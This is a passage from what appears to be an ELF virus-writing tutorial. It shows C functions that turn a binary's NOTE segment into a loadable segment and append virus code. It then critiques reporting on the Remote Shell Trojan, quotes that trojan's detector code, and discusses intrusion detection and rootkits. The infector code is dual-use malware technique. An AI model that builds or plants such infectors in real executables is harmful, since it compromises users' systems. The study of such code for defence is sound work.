> The first 32-bit word of the `desc` field must be 0 (this signifies a Linux executable). The second, third, and fourth 32-bit words of the `desc` field contain the earliest compatible kernel version. For example, if the 3 words are 2, 2, and 5, this signifies a 2.2.5 kernel.

If this section is missing then the ELF loader assumes a plain native executable. On heterogeneous systems removal of this data should not be problem. Of course such modified programs will not work if they are moved to a different system. For example `netscape` is not available for FreeBSD/i386; instead people run the binary for Linux/i386 with a light-weight system call emulator. An infected instance of `/usr/bin/netscape` that is fully functional on Linux/i386 will not work on FreeBSD/i386.

But then above documentation talks only about section `SHT_NOTE` and complete ignores the program header covering the same range of bytes. It could well be that this infection method has no noticeable effect.

On Solaris only a handful of executables feature a program header of type `PT_NOTE`. And while there is a section of type `SHT_NOTE` that covers this region of bytes, it is called `.note`, not `.note.ABI-tag`. Even stranger is `bash 2.03-6` on sparc-debian2.2-linux, it has both sections.

```
readelf -S /bin/sh | grep -i NOTE
  [ 2] .note.ABI-tag     NOTE            00010108 000108 000020 00   A   0   0 4
  [23] .note             NOTE            0009e7d8 07c56f 000974 00       0   0 1
```

9.2 8.2. Scanning for NOTE

The actual work is done by target_get_seg. The scanner just checks the result and determines minimum and maximum size of found segments.

Source: src/scanner/additional_cs/action.inc

```
bool target_action(Target* t, int stat[])
{
  TEVWH_ELF_PHDR* phdr_note;
  Elf32_Word filesz;

  TRACE_DEBUG(-1, "target_action\n");

  phdr_note = t->phdr_note;
  CHECK_BEGIN(SCAN, phdr_note, !=, 0, -1, void*)
    return false;
  CHECK_END

  filesz = phdr_note->p_filesz;
  /* counters were initialized to zero, real minimum is probably higher */
  if (stat[2] == 0 || filesz < stat[2])
    stat[2] = filesz; /* minimum */
  if (filesz > stat[3])
    stat[3] = filesz; /* maximum */

  TRACE_SCAN(-1, "%s ... p_filesz=%u Ok\n", t->clean_src, filesz);
  return true;
}
```

Source: src/scanner/additional_cs/print_summary.inc

```
int print_summary(int stat[])
{
  print_errno(-1, "files=%d; ok=%d; detected=%d; min=%d; max=%d\n",
    stat[0], stat[1], stat[0] - stat[1], stat[2], stat[3]
  );
  return 0;
}
```

9.3 8.3. A simple plan

1. Overwrite program header of type `NOTE` with a code segment definition (type `LOAD`).
2. Append virus code at end of file. Our unrealistic code at Infection #1[ABC] is so small that it actually fits into the `NOTE` segment. But let's just pretend this is real.

9.4 8.4. target_patch_phdr #2

After target_get_seg set `t->phdr_note` to the correct program header this function is straightforward. Double infection is again impossible by design. If there is no `PT_NOTE` this target is out of reach.

Source: src/additional_cs/patch_phdr.inc

```
bool target_patch_phdr(Target* t)
{
  TEVWH_ELF_PHDR* note;

  TRACE_DEBUG(-1, "target_patch_phdr\n");

  note = t->phdr_note;
  CHECK_BEGIN(SCAN, note, !=, 0, -1, void*)
```

```
    return false;
  CHECK_END
  CHECK(INFECT, note->p_type, ==, PT_NOTE);

  note->p_type = PT_LOAD;
  note->p_offset = t->aligned_filesize;
  note->p_vaddr =
  note->p_paddr = target_new_entry_addr(t);
  TRACE_DEBUG(-1, "new_entry_addr=%p\n", note->p_paddr);
  note->p_filesz =
  note->p_memsz = sizeof(infection);
  note->p_flags = t->phdr_code->p_flags;
  note->p_align = t->phdr_code->p_align;
  return true;
}
```

9.5 8.5. target_new_entry_addr #2

We can use any memory region not already occupied. Using one below the magic base of `TEVWH_ELF_BASE` avoids trouble. The room to maneuver is limited, though. See Segment padding infection for the column "Pages below base" and an explanation of "`% TEVWH_ELF_PAGE_SIZE`".

Source: src/additional_cs/new_entry_addr.inc

```
TEVWH_ELF_OFF target_new_entry_addr(const Target* t)
{
  return TEVWH_ELF_BASE - 2 * TEVWH_ELF_PAGE_SIZE
    + t->aligned_filesize % TEVWH_ELF_PAGE_SIZE;
}
```

9.6 8.6. target_patch_shdr #2

Not implemented. To cover the bytes of the new `LOAD` segment with a section we would have to insert a new one in the array of section headers. Right now I'm not in the mood to invest so much time in a hopeless case.

Source: src/additional_cs/patch_shdr.inc

```
bool target_patch_shdr(Target* t)
{
  TRACE_DEBUG(-1, "target_patch_shdr\n");
  return true; /* not implemented */
}
```

9.7 8.7. copy_and_infect #2

Source: src/additional_cs/copy_and_infect.inc

```
bool target_copy_and_infect(Target* t, size_t* code_size)
{
  TRACE_DEBUG(-1, "target_copy_and_infect\n");
  CHECK_WRITE(t->image.b, t->filesize); /* original target */
  CHECK_LSEEK(t->aligned_filesize, SEEK_SET);
  return target_write_infection(t, code_size);
}
```

9.7.1 Notes

[1] http://www.netbsd.org/Documentation/kernel/elf-notes.html

[2] http://www.linuxbase.org/spec/gLSB/gLSB/noteabitag.html

Prev Home Next
Segment padding infection Remote shell trojan

The ELF Virus Writing HOWTO: Introduction

Prev Next

10 9. Remote shell trojan

The superior man understands what is right;
the inferior man understands what will sell.
Confucius

On Silvio Cesare's site used to be a text file named `elf-pv.txt`. Complete title is "Unix ELF Parasites And Virus", dated October 1998. It gives some background and then describes the gap between code and data segment, as illustrated in Segment padding infection. At the end of the text is an uuencoded file `unix-linux-pv-src.tgz` containing sources. The package is also available as plain `vit-src.tgz`. [18]

> […] The name of this virus by curiosity was given by the people at F-Prot [1] who noticed the virus created a temp file using the letters VIT.

In another text he calls the concept "the text segment padding virus (padding infection)". Anyway, the code is hard to read as he started development with a piece of plain C and applied several transformations. It seems that he released the stuff the very second it produced results.

10.1 9.1. Three years later

"Remote Shell Trojan: Threat, Origin and Solution" [2] is dated 10/9/2001.

Perhaps they had to cut out all interesting details to protect their source. But what I read on that page makes little sense to me. Supposedly script kiddies [3] got hold of experimental back door code and planted it on sites they had access to. No names, dates, sites or legal consequences given. No details on the method used by intruders to gain access.

> […] From this point, the virus seemed to spread in the wild.

Well, how does it spread? There is no reference to a root exploit, either local or remote. It is explained that if root starts an infected program owned by another user, a virus can pollute the whole system. But how many people really do this? [4] And the question on how the virus spreads to other machines remains.

It is plausible that script kiddies copy root kits (including viral back doors) wholesale to cracked machines. It is possible to combine a remote exploit with such a virus to build a persistent worm, though creative work of this extent is by definition out of reach for script kiddies. But in both cases the problem is the used exploit, not the qualities of the installed back door.

Anyway, the concluding remark is strange: [5]

> […] Again, it is strongly recommend that anybody running Linux run the detector to see if their system is infected. Even if they do not expect anything, they can always optionally immunize their system. This is the only way we can fight the further spread of this virus.

Attached to the article is Perl and C code that detects and vaccinates against RST. Though I never encountered the culprit, seeing the antidote makes me sure it is a variation of Silvio Cesare's concept.

I am certain that Scanners would detect RST. If I had a copy (add collecting to my list of incompetencies). And that a deactivated infection with Segment padding infection has the same effect as the immunizer on that site.

Anyway, the code checks whether the entry point is exactly `4096` from the end of the code segment. If not, the executable is considered immune. This gets fooled by both the simple alignment in target_copy_and_infect #1 (which makes the distance less than `4096`) and the improvements made in The entry point[ABC].

```
psize = (textseg.p_vaddr + textseg.p_filesz) - ehdr.e_entry;
poffset = (textseg.p_offset + textseg.p_filesz) - psize;
if (psize != 4096)
  return 0; /* Binary already cleaned */
```

The code also tries to clean infected executables by restoring the entry point. I don't trust that part, however:

```
// read original entry point, that according to my reverse engineering
// is stored on the parasite at offset 1
if (fseek(fp, poffset+1, SEEK_SET)!=0) goto err;
if (fread(&oldentry, 4, 1, fp) != 1) goto err;

// restore the binary's entry point to point to the real program again,
// avoiding the execution of the parasite code.
// this pernamently disables the parasite code and makes the binary immune
// to further infection attempts.
ehdr.e_entry = oldentry;
if (fseek(fp, 0, SEEK_SET) != 0) goto err;
if (fwrite(&ehdr, sizeof(ehdr), 1, fp) != 1) goto err;
```

I can't see any attempt to verify the retrieved address. Silvio Cesare's classic pieces stored the original entry point at a non-intuitive address in the middle of infective code.

10.2 9.2. The lighter side

Above code contains everything to build an infector. Obviously it is written from reverse angle. Posted on a HTML page without `<pre>` or `<tt>` tags. And there are no references to preceding works and authors. But these are all inevitable constraints of trojan source code (term invented by me, right now). By delivering a good show it is possible to trick unsuspicious high-bandwidth sites into hosting educational material of the guild.

10.3 9.3. Another three months later

"New Linux Backdoor Virus Gains Smarts" [6] is dated 05 Jan 2002.

What does the title mean? I feel very illiterate. Does it really fit this text?

> […] To date there have been "limited" reports of the new RST variant in the wild, according to Eschelbeck. To replicate, the virus requires users to run an infected program from an account with "root" permissions. Upon execution, the infected program will attempt to spread the virus to all ELF files on the local system, he said.

If the virus cannot gain root on it's own devices, left alone reach other machines, how does it propagate at all? If this is just a fancy kind of back door then it must have been planted after a successful attack. What type of attack? What vulnerability? On what distributions? Are there updates available? What does CERT [7] say about it?

> […] However, Russell said it would be "dead simple" to attach the virus to a useful program, such as a tool that exploits a security hole, and beguile some users into running it.

The first sentence is funny. Do they really say that an exploit is a useful program? Or does this just mean that "Remote Shell Trojan" is not a trojan according to my definition?

To me it summarizes like this: On some cracked machines a new kind of back door was found. Period.

10.4 9.4. The serious side

There is a lot of documentation in the net. For example the Security-HOWTO [8] tells this in section "10. What To Do During and After a Breakin": [9]

> […] Re-installation should be considered mandatory upon an intruder obtaining root access. […]

There is a Unix-FAQ [10] which explains trivia like "What's wrong with having '.' in your $PATH?" [11] More specific information is the FAQ of comp.security.misc, comp.security.unix and related groups. [12] Another interesting piece is "Steps for Recovering from a UNIX or NT System Compromise". [13] Finally we have the suicide methods FAQ. [14]

News sites seem to avoid the topic of prevention like the plague. For some yet unknown reason readers are given no hint to educate themselves, or question the sanity of day-to-day behavior. Security incidences are described as act of evil forces beyond mortal control. Instead I detect a strange appeal for magic tools that can cure disease after contagion [15]

There might come the time of a completely brain washed user base taking incredible risks every day. This could be a major opportunity for the folks coding trojans. And perhaps, if dumbed down customers exert enough pressure on vendors, the security concepts implemented today might be rendered inactive on a default installation. [16]

10.5 9.5. Another theory

"Rare Linux virus on the loose" [17] is dated 03-01-2002.

> […] The researchers warned that the culprit carrying the virus is likely to be "some exploit being passed around, possibly a Secure Shell one". Linux users are advised not to run exploits from unknown sources. […]

The article does not back this up with facts. But the idea itself is interesting.

One of the strongest obstacles to virus spread is the distribution concept of Linux. Typical installation method is a set of CDs from a single vendor. Probably a lot of people don't buy the disks but copy them. However, it is quite difficult to infect ISO-9660 images. Even more if the CDs are copied on the fly using two drives.

Most other software is downloaded from a specific site. Either a central repository like http://www.sourceforge.net/ or registered on a place like http://freshmeat.net/. Should such a download site ever get infected by a virus there is just a single place to shut down.

Some sites are mirrored to share bandwidth demands. But most mirrors are set up to automatically take over changes on a daily or weekly base. So I guess that all "official" sources of infected software will dry up fast. Something similar actually happened. See the story of the irssi 0.8.4 back door. [18]

On the other hand 0-day exploits are traded in secrecy. From one hand to the other. Without authoritative origin. And little incentive to raise public attention. But then I doubt that script kiddies [3] called in security consultants after infecting their own machines. It might be possible that white hat administrators tested such an exploit on their own production machines. I agree with the citation that this is a stupid thing to do. But in that case the administrators would still have the original binary they executed. Which would clarify the issue beyond doubt. To me "is likely to be" means that someone might have installed the virus without knowing it, but on a machine already rooted. Big deal.

10.6 9.6. Intrusion detection systems

Most package systems maintain some kind of verification database including intended file owner, file permissions, file size and a checksum. This facility can be used to check for modifications to system files. The platform specific chapter Verifying installed packages[ABC] shows actual examples. "Rute User's Tutorial and Exposition" [19] includes a nice task based comparison of rpm(1) and dpkg(1)/debsums(1). Both package formats provide checksums based on md5sum(1). Feature-wise the only difference between them is the fact that checksums are optional for deb(5). A typical installation of Debian includes a lot packages without checksums.

A possible counter attack is to patch the database after infection. This is distribution dependent and requires root permissions. But it can be done. If you are serious about this issue you should use a real IDS and store the checksums offline. There is a FAQ [20] hosted by SANS Institute. [21] And a brief introduction to products is "Talisker's Intrusion Detection System List". [22] tripwire [23] has achieved a big name, but there is other free software: snort, [24] aide, [25] and lids. [26]

A poor man's approach to this problem is to use the checksums as they are stored in in the package files, e.g. on the installation CDs. Anyway, the real challenge for every kind of system verification is to limit the amount of false positives. Package based checksums are very bad in this regard, since they compare files with the initial state after installation. But then configuration files need to be modified to get the system running, so they will always be reported as messed up. A quick fix is to ignore a large number of files, either because their name matches a pattern or an exclusion list, or because they are marked as being somehow special in the package database. But then some of these files, e.g. `/etc/crontab`, can be used to install back doors. Still worse, putting a new file into a directory like `/etc/cron.d` or `/etc/rc2.d` can serve the same purpose. [27] Real IDS handle these problems by taking snapshots of the system and doing smarter tests.

Another possible attack is to hide the original (uninfected) executable on the file system, and patch the kernel via an inserted module to fake calculation of the checksum. A common name for this concept is "Loadable Kernel Module (LKM) Rootkits". [28] And if the kernel is compiled without module-support, there is still direct access to `/dev/kmem` to install a kernel-patch. [29] But that's not the end of the story … [30] [31]

Really reliable checksum verification requires a clean boot (e.g. from CD-ROM) and comparison with a clean snapshot stored offline (e.g. written to CD). On this road lies madness.

10.6.1 Notes

[1] http://www.f-prot.com/f-prot/

[2] http://www.securiteam.com/unixfocus/5MP022K5GE.html

[3] http://www.catb.org/~esr/jargon/html/entry/script-kiddies.html

[4] A poll on http://slashdot.org/ might give answer.

[5] We should make another poll on http://slashdot.org/ about how many people used the detector. It must have been all of them. Or is there another explanation that the predicted catastrophe did not occur?

[6] http://www.newsbytes.com/news/02/173408.html

[7] http://www.cert.org

[8] http://www.tldp.org/HOWTO/Security-HOWTO.html

[9] http://www.tldp.org/HOWTO/Security-HOWTO/after-breakin.html

[10] http://www.faqs.org/faqs/unix-faq/faq

[11] http://www.faqs.org/faqs/unix-faq/faq/part2/section-13.html

[12]
http://www.faqs.org/faqs/computer-security/most-common-qs/preamble.html
http://www.faqs.org/faqs/computer-security/

[13] http://www.cert.org/tech_tips/win-UNIX-system_compromise.html

[14] http://www.faqs.org/faqs/suicide_methods

[15] The second article links to http://www.qualys.com, which even seems to sell them.

[16] http://newsforge.com/article.pl?sid=02/01/25/1811226&mode=thread

[17] http://www.vnunet.com/News/1127965

[18] http://real.irssi.org/?page=backdoor

[19] http://rute.sourceforge.net/node27.html

[20] http://www.sans.org/newlook/resources/IDFAQ/ID_FAQ.htm

[21] http://www.sans.org/faq.php

[22] http://www.networkintrusion.co.uk/ids.htm

[23] http://www.tripwire.org/

[24] http://www.snort.org/

[25] http://www.cs.tut.fi/~rammer/aide.html

[26] http://lids.planetmirror.com/

[27] `pkgchk` on SunOS features option `-x` that is described as "Search exclusive directories, looking for files which exist that are not in the installation software database or the indicated pkgmap file." I did not get it working.

[28] http://la-samhna.de/library/lkm.html

[29] http://www.phrack.com/phrack/58/p58-0x07

[30] http://www-2.cs.cmu.edu/~jcl/linux/seal.html

[31] http://pw1.netcom.com/~spoon/lcap/

Prev | Home | Next
Additional code segments | | GNU Free Documentation License